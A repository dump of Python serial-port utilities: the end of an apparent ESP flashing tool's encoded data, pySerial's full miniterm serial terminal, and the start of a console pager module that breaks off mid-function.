kusbbb8l/EdnjzWpnjS28gg/3wE4doy1E6rmVZyhNIL3zDev15nk+1jXrWhW04C6A58x253sku/3zmfMBQ1oF+IfSnZEzK0aX0MSVhrowSpymcj8SUS45tsoaiRzcod4utphF4PMmubDHAgTtjawUlz4EjO9Sn0t\ 7zRGxs1lUDlIkt14gyzfhggNsYXB2BCkkvkQdUqFownnplvejk5lYiHgnizZEIYrJeMlyYRWxUMrNsxJZzfYbHAOl3KZtVj3jNXNSCzL72yRUonC1KxXVO0D1IBIsao4jIo4+4qcPQqi+wDq1OITlMyCl4bJN9+T\ dnSSvwxvBBt1B15v96ngZ30RbZf8i2P94kWKZNy8oEQR71Al9MpH2prRhy7ffkVKDHOgvoCxLdytiQGjH/qeuh96LR9VlsMgTqll/Or7hN9LIKKqxlxJwJ7a93QSpZ1DKD5Ziq56ebQojy7BkMYhFvoNifUh1j36\ zZJFr8chDSLFWBMowPAHHwnYdRGGKqvgelUXp7aDuEKXTwfeX5fkz2/CCrilZc3DjMJwYuA9Wc0BLk/AalE3CPYBuYAdhh2VlgIcgsy8BU8LAmsUF7Qb8hJcm8SXrpKBXlKxbk2lN+fnoojkeA5WQZg65XmAjxbe\ qVGoCA48eCr/Cl2KfUitXyL6NA7nKePRkJ02TULTkClMpoB6Pf6dI3R8G+iWlHLNzojASQ8pAlRCesiaxX0a4FvV+qn4eLRFmSPyOeM3LQT4H46Hxe0qq2e38spYZRsQL9TZDteIS3au0DY75DmlQlGP3z3woJTN\ gTphAF8ay0ndqmyMPbiVZ6XPr6CYml3ffYY/99n8EtTlPRgIltq65qFMqpdMqk9SOTPiEaHMNLatYzbo7tfwrNJlj1EGNW3dqTs4/xY+y/tN2Ka6K4Oxg9cBRG25/ml19xMz0kDvr5St9PxUB1AORmVYQxuWWcXv\ Ub0kj4ZSNyDBSh9XHKtilYNO9jdgORDZmF8lAiBDayrolUCj4ffBGl6DasO1OpiLYMjRQw1w3PD7KHZgTehj2BUrRzVRhy8ywuI2vP7g61bJIB+Vnolhm7/EjPrMMRZkbOU9CNfeUbwx6THwuONAqbyjciZoA5ai\ vS+b7PwIUvpWxHsO4Vq/jUS8khvLO/mKK/C+bufHKddDO//uNzqnl5AatfjTGgjSraDgxzUKrn9b7QTFrHDV1YTtFUvPXBS/+TOcu1qd0DHQSVJQRYBFoS8svF5DoOgmv7NBsIbSMo4XHe6yPRtdTeZYpQgv/U1B\ EgaWgrrY8so/8giUUivbvJMaWhzjY5gCZZt8yo8xvbmDG16Ct3kDOz9lB0KY7AMeLF4NrvGBE/ObOT9xqnLuIWkU18ZerPEPVrznW/F/eON1tSh6+QA+lxeYRlSSQ7y5goNQLbMNSDG69yEUlIeaSo+jYM5czRZe\ MefbQPkHXK550wpfnau4FEbTYNdnnlhU8xSi/Om/aOX6RzDvJnzGsc1oypaJYZvNAqsxjojDWPQN+RcqENIpWxxpjbdSbpWh1j54uVU7j+Qs2MamXDDFBXHU31qMaqr4H8pw7j5X+KLr+RPaLwSi/jLNYGkaCAnL\ ecmQXaO9BP/h7+ffFvUt/NufVpMir3JljBvpbha3n31nUUwy19nWi5r/PzCq2o94JN4on+RlqbM//gt1kVkF\ """))) def _main(): try: main() except FatalError as e: print('\nA fatal error occurred: %s' % e) sys.exit(2) if __name__ == '__main__': _main() ================================================ FILE: scripts/miniterm.py ================================================ #!/usr/bin/env python # # Very simple serial terminal # # This file is part of pySerial. https://github.com/pyserial/pyserial # (C)2002-2020 Chris Liechti # # SPDX-License-Identifier: BSD-3-Clause from __future__ import absolute_import import codecs import os import sys import threading import serial from serial.tools.list_ports import comports from serial.tools import hexlify_codec # pylint: disable=wrong-import-order,wrong-import-position codecs.register(lambda c: hexlify_codec.getregentry() if c == 'hexlify' else None) try: raw_input except NameError: # pylint: disable=redefined-builtin,invalid-name raw_input = input # in python3 it's "raw" unichr = chr def key_description(character): """generate a readable description for a key""" ascii_code = ord(character) if ascii_code < 32: return 'Ctrl+{:c}'.format(ord('@') + ascii_code) else: return repr(character) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - class ConsoleBase(object): """OS abstraction for console (input/output codec, no echo)""" def __init__(self): if sys.version_info >= (3, 0): self.byte_output = sys.stdout.buffer else: self.byte_output = sys.stdout self.output = sys.stdout def setup(self): """Set console to read single characters, no echo""" def cleanup(self): """Restore default console settings""" def getkey(self): """Read a single key from the console""" return None def write_bytes(self, byte_string): """Write bytes (already encoded)""" self.byte_output.write(byte_string) self.byte_output.flush() def write(self, text): """Write string""" self.output.write(text) self.output.flush() def cancel(self): """Cancel getkey operation""" # - - - - - - - - - - - - - - - - - - - - - - - - # context manager: # switch terminal temporary to normal mode (e.g. to get user input) def __enter__(self): self.cleanup() return self def __exit__(self, *args, **kwargs): self.setup() if os.name == 'nt': # noqa import msvcrt import ctypes import platform class Out(object): """file-like wrapper that uses os.write""" def __init__(self, fd): self.fd = fd def flush(self): pass def write(self, s): os.write(self.fd, s) class Console(ConsoleBase): fncodes = { ';': '\x1bOP', # F1 '<': '\x1bOQ', # F2 '=': '\x1bOR', # F3 '>': '\x1bOS', # F4 '?': '\x1b[15~', # F5 '@': '\x1b[17~', # F6 'A': '\x1b[18~', # F7 'B': '\x1b[19~', # F8 'C': '\x1b[20~', # F9 'D': '\x1b[21~', # F10 } navcodes = { 'H': '\x1b[A', # UP 'P': '\x1b[B', # DOWN 'K': '\x1b[D', # LEFT 'M': '\x1b[C', # RIGHT 'G': '\x1b[H', # HOME 'O': '\x1b[F', # END 'R': '\x1b[2~', # INSERT 'S': '\x1b[3~', # DELETE 'I': '\x1b[5~', # PGUP 'Q': '\x1b[6~', # PGDN } def __init__(self): super(Console, self).__init__() self._saved_ocp = ctypes.windll.kernel32.GetConsoleOutputCP() self._saved_icp = ctypes.windll.kernel32.GetConsoleCP() ctypes.windll.kernel32.SetConsoleOutputCP(65001) ctypes.windll.kernel32.SetConsoleCP(65001) # ANSI handling available through SetConsoleMode since Windows 10 v1511 # https://en.wikipedia.org/wiki/ANSI_escape_code#cite_note-win10th2-1 if platform.release() == '10' and int(platform.version().split('.')[2]) > 10586: ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004 import ctypes.wintypes as wintypes if not hasattr(wintypes, 'LPDWORD'): # PY2 wintypes.LPDWORD = ctypes.POINTER(wintypes.DWORD) SetConsoleMode = ctypes.windll.kernel32.SetConsoleMode GetConsoleMode = ctypes.windll.kernel32.GetConsoleMode GetStdHandle = ctypes.windll.kernel32.GetStdHandle mode = wintypes.DWORD() GetConsoleMode(GetStdHandle(-11), ctypes.byref(mode)) if (mode.value & ENABLE_VIRTUAL_TERMINAL_PROCESSING) == 0: SetConsoleMode(GetStdHandle(-11), mode.value | ENABLE_VIRTUAL_TERMINAL_PROCESSING) self._saved_cm = mode self.output = codecs.getwriter('UTF-8')(Out(sys.stdout.fileno()), 'replace') # the change of the code page is not propagated to Python, manually fix it sys.stderr = codecs.getwriter('UTF-8')(Out(sys.stderr.fileno()), 'replace') sys.stdout = self.output self.output.encoding = 'UTF-8' # needed for input def __del__(self): ctypes.windll.kernel32.SetConsoleOutputCP(self._saved_ocp) ctypes.windll.kernel32.SetConsoleCP(self._saved_icp) try: ctypes.windll.kernel32.SetConsoleMode(ctypes.windll.kernel32.GetStdHandle(-11), self._saved_cm) except AttributeError: # in case no _saved_cm pass def getkey(self): while True: z = msvcrt.getwch() if z == unichr(13): return unichr(10) elif z is unichr(0) or z is unichr(0xe0): try: code = msvcrt.getwch() if z is unichr(0): return self.fncodes[code] else: return self.navcodes[code] except KeyError: pass else: return z def cancel(self): # CancelIo, CancelSynchronousIo do not seem to work when using # getwch, so instead, send a key to the window with the console hwnd = ctypes.windll.kernel32.GetConsoleWindow() ctypes.windll.user32.PostMessageA(hwnd, 0x100, 0x0d, 0) elif os.name == 'posix': import atexit import termios import fcntl class Console(ConsoleBase): def __init__(self): super(Console, self).__init__() self.fd = sys.stdin.fileno() self.old = termios.tcgetattr(self.fd) atexit.register(self.cleanup) if sys.version_info < (3, 0): self.enc_stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin) else: self.enc_stdin = sys.stdin def setup(self): new = termios.tcgetattr(self.fd) new[3] = new[3] & ~termios.ICANON & ~termios.ECHO & ~termios.ISIG new[6][termios.VMIN] = 1 new[6][termios.VTIME] = 0 termios.tcsetattr(self.fd, termios.TCSANOW, new) def getkey(self): c = self.enc_stdin.read(1) if c == unichr(0x7f): c = unichr(8) # map the BS key (which yields DEL) to backspace return c def cancel(self): fcntl.ioctl(self.fd, termios.TIOCSTI, b'\0') def cleanup(self): termios.tcsetattr(self.fd, termios.TCSAFLUSH, self.old) else: raise NotImplementedError( 'Sorry no implementation for your platform ({}) available.'.format(sys.platform)) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - class Transform(object): """do-nothing: forward all data unchanged""" def rx(self, text): """text received from serial port""" return text def tx(self, text): """text to be sent to serial port""" return text def echo(self, text): """text to be sent but displayed on console""" return text class CRLF(Transform): """ENTER sends CR+LF""" def tx(self, text): return text.replace('\n', '\r\n') class CR(Transform): """ENTER sends CR""" def rx(self, text): return text.replace('\r', '\n') def tx(self, text): return text.replace('\n', '\r') class LF(Transform): """ENTER sends LF""" class NoTerminal(Transform): """remove typical terminal control codes from input""" REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32) if unichr(x) not in '\r\n\b\t') REPLACEMENT_MAP.update( { 0x7F: 0x2421, # DEL 0x9B: 0x2425, # CSI }) def rx(self, text): return text.translate(self.REPLACEMENT_MAP) echo = rx class NoControls(NoTerminal): """Remove all control codes, incl. CR+LF""" REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32)) REPLACEMENT_MAP.update( { 0x20: 0x2423, # visual space 0x7F: 0x2421, # DEL 0x9B: 0x2425, # CSI }) class Printable(Transform): """Show decimal code for all non-ASCII characters and replace most control codes""" def rx(self, text): r = [] for c in text: if ' ' <= c < '\x7f' or c in '\r\n\b\t': r.append(c) elif c < ' ': r.append(unichr(0x2400 + ord(c))) else: r.extend(unichr(0x2080 + ord(d) - 48) for d in '{:d}'.format(ord(c))) r.append(' ') return ''.join(r) echo = rx class Colorize(Transform): """Apply different colors for received and echo""" def __init__(self): # XXX make it configurable, use colorama? self.input_color = '\x1b[37m' self.echo_color = '\x1b[31m' def rx(self, text): return self.input_color + text def echo(self, text): return self.echo_color + text class DebugIO(Transform): """Print what is sent and received""" def rx(self, text): sys.stderr.write(' [RX:{!r}] '.format(text)) sys.stderr.flush() return text def tx(self, text): sys.stderr.write(' [TX:{!r}] '.format(text)) sys.stderr.flush() return text # other ideas: # - add date/time for each newline # - insert newline after: a) timeout b) packet end character EOL_TRANSFORMATIONS = { 'crlf': CRLF, 'cr': CR, 'lf': LF, } TRANSFORMATIONS = { 'direct': Transform, # no transformation 'default': NoTerminal, 'nocontrol': NoControls, 'printable': Printable, 'colorize': Colorize, 'debug': DebugIO, } # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - def ask_for_port(): """\ Show a list of ports and ask the user for a choice. To make selection easier on systems with long device names, also allow the input of an index. """ sys.stderr.write('\n--- Available ports:\n') ports = [] for n, (port, desc, hwid) in enumerate(sorted(comports()), 1): sys.stderr.write('--- {:2}: {:20} {!r}\n'.format(n, port, desc)) ports.append(port) while True: port = raw_input('--- Enter port index or full name: ') try: index = int(port) - 1 if not 0 <= index < len(ports): sys.stderr.write('--- Invalid index!\n') continue except ValueError: pass else: port = ports[index] return port class Miniterm(object): """\ Terminal application. Copy data from serial port to console and vice versa. Handle special keys from the console to show menu etc. """ def __init__(self, serial_instance, echo=False, eol='crlf', filters=()): self.console = Console() self.serial = serial_instance self.echo = echo self.raw = False self.input_encoding = 'UTF-8' self.output_encoding = 'UTF-8' self.eol = eol self.filters = filters self.update_transformations() self.exit_character = unichr(0x1d) # GS/CTRL+] self.menu_character = unichr(0x14) # Menu: CTRL+T self.alive = None self._reader_alive = None self.receiver_thread = None self.rx_decoder = None self.tx_decoder = None def _start_reader(self): """Start reader thread""" self._reader_alive = True # start serial->console thread self.receiver_thread = threading.Thread(target=self.reader, name='rx') self.receiver_thread.daemon = True self.receiver_thread.start() def _stop_reader(self): """Stop reader thread only, wait for clean exit of thread""" self._reader_alive = False if hasattr(self.serial, 'cancel_read'): self.serial.cancel_read() self.receiver_thread.join() def start(self): """start worker threads""" self.alive = True self._start_reader() # enter console->serial loop self.transmitter_thread = threading.Thread(target=self.writer, name='tx') self.transmitter_thread.daemon = True self.transmitter_thread.start() self.console.setup() def stop(self): """set flag to stop worker threads""" self.alive = False def join(self, transmit_only=False): """wait for worker threads to terminate""" self.transmitter_thread.join() if not transmit_only: if hasattr(self.serial, 'cancel_read'): self.serial.cancel_read() self.receiver_thread.join() def close(self): self.serial.close() def update_transformations(self): """take list of transformation classes and instantiate them for rx and tx""" transformations = [EOL_TRANSFORMATIONS[self.eol]] + [TRANSFORMATIONS[f] for f in self.filters] self.tx_transformations = [t() for t in transformations] self.rx_transformations = list(reversed(self.tx_transformations)) def set_rx_encoding(self, encoding, errors='replace'): """set encoding for received data""" self.input_encoding = encoding self.rx_decoder = codecs.getincrementaldecoder(encoding)(errors) def set_tx_encoding(self, encoding, errors='replace'): """set encoding for transmitted data""" self.output_encoding = encoding self.tx_encoder = codecs.getincrementalencoder(encoding)(errors) def dump_port_settings(self): """Write current settings to sys.stderr""" sys.stderr.write("\n--- Settings: {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits}\n".format( p=self.serial)) sys.stderr.write('--- RTS: {:8} DTR: {:8} BREAK: {:8}\n'.format( ('active' if self.serial.rts else 'inactive'), ('active' if self.serial.dtr else 'inactive'), ('active' if self.serial.break_condition else 'inactive'))) try: sys.stderr.write('--- CTS: {:8} DSR: {:8} RI: {:8} CD: {:8}\n'.format( ('active' if self.serial.cts else 'inactive'), ('active' if self.serial.dsr else 'inactive'), ('active' if self.serial.ri else 'inactive'), ('active' if self.serial.cd else 'inactive'))) except serial.SerialException: # on RFC 2217 ports, it can happen if no modem state notification was # yet received. ignore this error. pass sys.stderr.write('--- software flow control: {}\n'.format('active' if self.serial.xonxoff else 'inactive')) sys.stderr.write('--- hardware flow control: {}\n'.format('active' if self.serial.rtscts else 'inactive')) sys.stderr.write('--- serial input encoding: {}\n'.format(self.input_encoding)) sys.stderr.write('--- serial output encoding: {}\n'.format(self.output_encoding)) sys.stderr.write('--- EOL: {}\n'.format(self.eol.upper())) sys.stderr.write('--- filters: {}\n'.format(' '.join(self.filters))) def reader(self): """loop and copy serial->console""" try: while self.alive and self._reader_alive: # read all that is there or wait for one byte data = self.serial.read(self.serial.in_waiting or 1) if data: if self.raw: self.console.write_bytes(data) else: text = self.rx_decoder.decode(data) for transformation in self.rx_transformations: text = transformation.rx(text) self.console.write(text) except serial.SerialException: self.alive = False self.console.cancel() raise # XXX handle instead of re-raise? def writer(self): """\ Loop and copy console->serial until self.exit_character character is found. When self.menu_character is found, interpret the next key locally. """ menu_active = False try: while self.alive: try: c = self.console.getkey() except KeyboardInterrupt: c = '\x03' if not self.alive: break if menu_active: self.handle_menu_key(c) menu_active = False elif c == self.menu_character: menu_active = True # next char will be for menu elif c == self.exit_character: self.stop() # exit app break else: #~ if self.raw: text = c for transformation in self.tx_transformations: text = transformation.tx(text) self.serial.write(self.tx_encoder.encode(text)) if self.echo: echo_text = c for transformation in self.tx_transformations: echo_text = transformation.echo(echo_text) self.console.write(echo_text) except: self.alive = False raise def handle_menu_key(self, c): """Implement a simple menu / settings""" if c == self.menu_character or c == self.exit_character: # Menu/exit character again -> send itself self.serial.write(self.tx_encoder.encode(c)) if self.echo: self.console.write(c) elif c == '\x15': # CTRL+U -> upload file self.upload_file() elif c in '\x08hH?': # CTRL+H, h, H, ? -> Show help sys.stderr.write(self.get_help_text()) elif c == '\x12': # CTRL+R -> Toggle RTS self.serial.rts = not self.serial.rts sys.stderr.write('--- RTS {} ---\n'.format('active' if self.serial.rts else 'inactive')) elif c == '\x04': # CTRL+D -> Toggle DTR self.serial.dtr = not self.serial.dtr sys.stderr.write('--- DTR {} ---\n'.format('active' if self.serial.dtr else 'inactive')) elif c == '\x02': # CTRL+B -> toggle BREAK condition self.serial.break_condition = not self.serial.break_condition sys.stderr.write('--- BREAK {} ---\n'.format('active' if self.serial.break_condition else 'inactive')) elif c == '\x05': # CTRL+E -> toggle local echo self.echo = not self.echo sys.stderr.write('--- local echo {} ---\n'.format('active' if self.echo else 'inactive')) elif c == '\x06': # CTRL+F -> edit filters self.change_filter() elif c == '\x0c': # CTRL+L -> EOL mode modes = list(EOL_TRANSFORMATIONS) # keys eol = modes.index(self.eol) + 1 if eol >= len(modes): eol = 0 self.eol = modes[eol] sys.stderr.write('--- EOL: {} ---\n'.format(self.eol.upper())) self.update_transformations() elif c == '\x01': # CTRL+A -> set encoding self.change_encoding() elif c == '\x09': # CTRL+I -> info self.dump_port_settings() #~ elif c == '\x01': # CTRL+A -> cycle escape mode #~ elif c == '\x0c': # CTRL+L -> cycle linefeed mode elif c in 'pP': # P -> change port self.change_port() elif c in 'zZ': # S -> suspend / open port temporarily self.suspend_port() elif c in 'bB': # B -> change baudrate self.change_baudrate() elif c == '8': # 8 -> change to 8 bits self.serial.bytesize = serial.EIGHTBITS self.dump_port_settings() elif c == '7': # 7 -> change to 8 bits self.serial.bytesize = serial.SEVENBITS self.dump_port_settings() elif c in 'eE': # E -> change to even parity self.serial.parity = serial.PARITY_EVEN self.dump_port_settings() elif c in 'oO': # O -> change to odd parity self.serial.parity = serial.PARITY_ODD self.dump_port_settings() elif c in 'mM': # M -> change to mark parity self.serial.parity = serial.PARITY_MARK self.dump_port_settings() elif c in 'sS': # S -> change to space parity self.serial.parity = serial.PARITY_SPACE self.dump_port_settings() elif c in 'nN': # N -> change to no parity self.serial.parity = serial.PARITY_NONE self.dump_port_settings() elif c == '1': # 1 -> change to 1 stop bits self.serial.stopbits = serial.STOPBITS_ONE self.dump_port_settings() elif c == '2': # 2 -> change to 2 stop bits self.serial.stopbits = serial.STOPBITS_TWO self.dump_port_settings() elif c == '3': # 3 -> change to 1.5 stop bits self.serial.stopbits = serial.STOPBITS_ONE_POINT_FIVE self.dump_port_settings() elif c in 'xX': # X -> change software flow control self.serial.xonxoff = (c == 'X') self.dump_port_settings() elif c in 'rR': # R -> change hardware flow control self.serial.rtscts = (c == 'R') self.dump_port_settings() elif c in 'qQ': self.stop() # Q -> exit app else: sys.stderr.write('--- unknown menu character {} --\n'.format(key_description(c))) def upload_file(self): """Ask user for filename and send its contents""" sys.stderr.write('\n--- File to upload: ') sys.stderr.flush() with self.console: filename = sys.stdin.readline().rstrip('\r\n') if filename: try: with open(filename, 'rb') as f: sys.stderr.write('--- Sending file {} ---\n'.format(filename)) while True: block = f.read(1024) if not block: break self.serial.write(block) # Wait for output buffer to drain. self.serial.flush() sys.stderr.write('.') # Progress indicator. sys.stderr.write('\n--- File {} sent ---\n'.format(filename)) except IOError as e: sys.stderr.write('--- ERROR opening file {}: {} ---\n'.format(filename, e)) def change_filter(self): """change the i/o transformations""" sys.stderr.write('\n--- Available Filters:\n') sys.stderr.write('\n'.join( '--- {:<10} = {.__doc__}'.format(k, v) for k, v in sorted(TRANSFORMATIONS.items()))) sys.stderr.write('\n--- Enter new filter name(s) [{}]: '.format(' '.join(self.filters))) with self.console: new_filters = sys.stdin.readline().lower().split() if new_filters: for f in new_filters: if f not in TRANSFORMATIONS: sys.stderr.write('--- unknown filter: {!r}\n'.format(f)) break else: self.filters = new_filters self.update_transformations() sys.stderr.write('--- filters: {}\n'.format(' '.join(self.filters))) def change_encoding(self): """change encoding on the serial port""" sys.stderr.write('\n--- Enter new encoding name [{}]: '.format(self.input_encoding)) with self.console: new_encoding = sys.stdin.readline().strip() if new_encoding: try: codecs.lookup(new_encoding) except LookupError: sys.stderr.write('--- invalid encoding name: {}\n'.format(new_encoding)) else: self.set_rx_encoding(new_encoding) self.set_tx_encoding(new_encoding) sys.stderr.write('--- serial input encoding: {}\n'.format(self.input_encoding)) sys.stderr.write('--- serial output encoding: {}\n'.format(self.output_encoding)) def change_baudrate(self): """change the baudrate""" sys.stderr.write('\n--- Baudrate: ') sys.stderr.flush() with self.console: backup = self.serial.baudrate try: self.serial.baudrate = int(sys.stdin.readline().strip()) except ValueError as e: sys.stderr.write('--- ERROR setting baudrate: {} ---\n'.format(e)) self.serial.baudrate = backup else: self.dump_port_settings() def change_port(self): """Have a conversation with the user to change the serial port""" with self.console: try: port = ask_for_port() except KeyboardInterrupt: port = None if port and port != self.serial.port: # reader thread needs to be shut down self._stop_reader() # save settings settings = self.serial.getSettingsDict() try: new_serial = serial.serial_for_url(port, do_not_open=True) # restore settings and open new_serial.applySettingsDict(settings) new_serial.rts = self.serial.rts new_serial.dtr = self.serial.dtr new_serial.open() new_serial.break_condition = self.serial.break_condition except Exception as e: sys.stderr.write('--- ERROR opening new port: {} ---\n'.format(e)) new_serial.close() else: self.serial.close() self.serial = new_serial sys.stderr.write('--- Port changed to: {} ---\n'.format(self.serial.port)) # and restart the reader thread self._start_reader() def suspend_port(self): """\ open port temporarily, allow reconnect, exit and port change to get out of the loop """ # reader thread needs to be shut down self._stop_reader() self.serial.close() sys.stderr.write('\n--- Port closed: {} ---\n'.format(self.serial.port)) do_change_port = False while not self.serial.is_open: sys.stderr.write('--- Quit: {exit} | p: port change | any other key to reconnect ---\n'.format( exit=key_description(self.exit_character))) k = self.console.getkey() if k == self.exit_character: self.stop() # exit app break elif k in 'pP': do_change_port = True break try: self.serial.open() except Exception as e: sys.stderr.write('--- ERROR opening port: {} ---\n'.format(e)) if do_change_port: self.change_port() else: # and restart the reader thread self._start_reader() sys.stderr.write('--- Port opened: {} ---\n'.format(self.serial.port)) def get_help_text(self): """return the help text""" # help text, starts with blank line! return """ --- pySerial ({version}) - miniterm - help --- --- {exit:8} Exit program (alias {menu} Q) --- {menu:8} Menu escape key, followed by: --- Menu keys: --- {menu:7} Send the menu character itself to remote --- {exit:7} Send the exit character itself to remote --- {info:7} Show info --- {upload:7} Upload file (prompt will be shown) --- {repr:7} encoding --- {filter:7} edit filters --- Toggles: --- {rts:7} RTS {dtr:7} DTR {brk:7} BREAK --- {echo:7} echo {eol:7} EOL --- --- Port settings ({menu} followed by the following): --- p change port --- 7 8 set data bits --- N E O S M change parity (None, Even, Odd, Space, Mark) --- 1 2 3 set stop bits (1, 2, 1.5) --- b change baud rate --- x X disable/enable software flow control --- r R disable/enable hardware flow control """.format(version=getattr(serial, 'VERSION', 'unknown version'), exit=key_description(self.exit_character), menu=key_description(self.menu_character), rts=key_description('\x12'), dtr=key_description('\x04'), brk=key_description('\x02'), echo=key_description('\x05'), info=key_description('\x09'), upload=key_description('\x15'), repr=key_description('\x01'), filter=key_description('\x06'), eol=key_description('\x0c')) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # default args can be used to override when calling main() from an other script # e.g to create a miniterm-my-device.py def main(default_port=None, default_baudrate=9600, default_rts=None, default_dtr=None, serial_instance=None): """Command line tool, entry point""" import argparse parser = argparse.ArgumentParser( description='Miniterm - A simple terminal program for the serial port.') parser.add_argument( 'port', nargs='?', help='serial port name ("-" to show port list)', default=default_port) parser.add_argument( 'baudrate', nargs='?', type=int, help='set baud rate, default: %(default)s', default=default_baudrate) group = parser.add_argument_group('port settings') group.add_argument( '--parity', choices=['N', 'E', 'O', 'S', 'M'], type=lambda c: c.upper(), help='set parity, one of {N E O S M}, default: N', default='N') group.add_argument( '--rtscts', action='store_true', help='enable RTS/CTS flow control (default off)', default=False) group.add_argument( '--xonxoff', action='store_true', help='enable software flow control (default off)', default=False) group.add_argument( '--rts', type=int, help='set initial RTS line state (possible values: 0, 1)', default=default_rts) group.add_argument( '--dtr', type=int, help='set initial DTR line state (possible values: 0, 1)', default=default_dtr) group.add_argument( '--non-exclusive', dest='exclusive', action='store_false', help='disable locking for native ports', default=True) group.add_argument( '--ask', action='store_true', help='ask again for port when open fails', default=False) group = parser.add_argument_group('data handling') group.add_argument( '-e', '--echo', action='store_true', help='enable local echo (default off)', default=False) group.add_argument( '--encoding', dest='serial_port_encoding', metavar='CODEC', help='set the encoding for the serial port (e.g. hexlify, Latin1, UTF-8), default: %(default)s', default='UTF-8') group.add_argument( '-f', '--filter', action='append', metavar='NAME', help='add text transformation', default=[]) group.add_argument( '--eol', choices=['CR', 'LF', 'CRLF'], type=lambda c: c.upper(), help='end of line mode', default='CRLF') group.add_argument( '--raw', action='store_true', help='Do no apply any encodings/transformations', default=False) group = parser.add_argument_group('hotkeys') group.add_argument( '--exit-char', type=int, metavar='NUM', help='Unicode of special character that is used to exit the application, default: %(default)s', default=0x1d) # GS/CTRL+] group.add_argument( '--menu-char', type=int, metavar='NUM', help='Unicode code of special character that is used to control miniterm (menu), default: %(default)s', default=0x14) # Menu: CTRL+T group = parser.add_argument_group('diagnostics') group.add_argument( '-q', '--quiet', action='store_true', help='suppress non-error messages', default=False) group.add_argument( '--develop', action='store_true', help='show Python traceback on error', default=False) args = parser.parse_args() if args.menu_char == args.exit_char: parser.error('--exit-char can not be the same as --menu-char') if args.filter: if 'help' in args.filter: sys.stderr.write('Available filters:\n') sys.stderr.write('\n'.join( '{:<10} = {.__doc__}'.format(k, v) for k, v in sorted(TRANSFORMATIONS.items()))) sys.stderr.write('\n') sys.exit(1) filters = args.filter else: filters = ['default'] while serial_instance is None: # no port given on command line -> ask user now if args.port is None or args.port == '-': try: args.port = ask_for_port() except KeyboardInterrupt: sys.stderr.write('\n') parser.error('user aborted and port is not given') else: if not args.port: parser.error('port is not given') try: serial_instance = serial.serial_for_url( args.port, args.baudrate, parity=args.parity, rtscts=args.rtscts, xonxoff=args.xonxoff, do_not_open=True) if not hasattr(serial_instance, 'cancel_read'): # enable timeout for alive flag polling if cancel_read is not available serial_instance.timeout = 1 if args.dtr is not None: if not args.quiet: sys.stderr.write('--- forcing DTR {}\n'.format('active' if args.dtr else 'inactive')) serial_instance.dtr = args.dtr if args.rts is not None: if not args.quiet: sys.stderr.write('--- forcing RTS {}\n'.format('active' if args.rts else 'inactive')) serial_instance.rts = args.rts if isinstance(serial_instance, serial.Serial): serial_instance.exclusive = args.exclusive serial_instance.open() except serial.SerialException as e: sys.stderr.write('could not open port {!r}: {}\n'.format(args.port, e)) if args.develop: raise if not args.ask: sys.exit(1) else: args.port = '-' else: break miniterm = Miniterm( serial_instance, echo=args.echo, eol=args.eol.lower(), filters=filters) miniterm.exit_character = unichr(args.exit_char) miniterm.menu_character = unichr(args.menu_char) miniterm.raw = args.raw miniterm.set_rx_encoding(args.serial_port_encoding) miniterm.set_tx_encoding(args.serial_port_encoding) if not args.quiet: sys.stderr.write('--- Miniterm on {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits} ---\n'.format( p=miniterm.serial)) sys.stderr.write('--- Quit: {} | Menu: {} | Help: {} followed by {} ---\n'.format( key_description(miniterm.exit_character), key_description(miniterm.menu_character), key_description(miniterm.menu_character), key_description('\x08'))) miniterm.start() try: miniterm.join(True) except KeyboardInterrupt: pass if not args.quiet: sys.stderr.write('\n--- exit ---\n') miniterm.join() miniterm.close() # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - if __name__ == '__main__': main() ================================================ FILE: scripts/pager.py ================================================ #!/usr/bin/env python """ Page output and find dimensions of console. This module deals with paging on Linux terminals and Windows consoles in a cross-platform way. The major difference for paging here is line ends. Not line end characters, but the console behavior when the last character on a line is printed. To get technical details, run this module without parameters:: python pager.py Author: anatoly techtonik License: Public Domain (use MIT if the former doesn't work for you) """ __version__ = '3.3' import os,sys WINDOWS = os.name == 'nt' PY3K = sys.version_info >= (3,) # Windows constants # http://msdn.microsoft.com/en-us/library/ms683231%28v=VS.85%29.aspx STD_INPUT_HANDLE = -10 STD_OUTPUT_HANDLE = -11 STD_ERROR_HANDLE = -12 # --- console/window operations --- if WINDOWS: # get console handle from ctypes import windll, Structure, byref try: from ctypes.wintypes import SHORT, WORD, DWORD # workaround for missing types in Python 2.5 except ImportError: from ctypes import ( c_short as SHORT, c_ushort as WORD, c_ulong as DWORD) console_handle = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) # CONSOLE_SCREEN_BUFFER_INFO Structure class COORD(Structure): _fields_ = [("X", SHORT), ("Y", SHORT)] class SMALL_RECT(Structure): _fields_ = [("Left", SHORT), ("Top", SHORT), ("Right", SHORT), ("Bottom", SHORT)] class CONSOLE_SCREEN_BUFFER_INFO(Structure): _fields_ = [("dwSize", COORD), ("dwCursorPosition", COORD), ("wAttributes", WORD), ("srWindow", SMALL_RECT), ("dwMaximumWindowSize", DWORD)] def _windows_get_window_size(): """Return (width, height) of available window area on Windows. (0, 0) if no console is allocated. """ sbi = CONSOLE_SCREEN_BUFFER_INFO() ret = windll.kernel32.GetConsoleScreenBufferInfo(console_handle, byref(sbi)) if ret == 0: return (0, 0) return (sbi.srWindow.Right - sbi.srWindow.Left + 1, sbi.srWindow.Bottom - sbi.srWindow.Top + 1) def _posix_get_window_size(): """Return (width, height) of console terminal on POSIX system. (0, 0) on IOError, i.e. when no console is allocated. """ # see README.txt for reference information # http://www.kernel.org/doc/man-pages/online/pages/man4/tty_ioctl.4.html from fcntl import ioctl from termios import TIOCGWINSZ from array import array winsize = array("H", [0] * 4) try: ioctl(sys.stdout.fileno(), TIOCGWINSZ, winsize) except IOError: # for example IOError: [Errno 25] Inappropriate ioctl for device # when output is redirected # [ ] TODO: check fd with os.isatty pass return (winsize[1], winsize[0]) def getwidth(): width = None if WINDOWS: return _windows_get_window_size()[0] elif os.name == 'posix': return 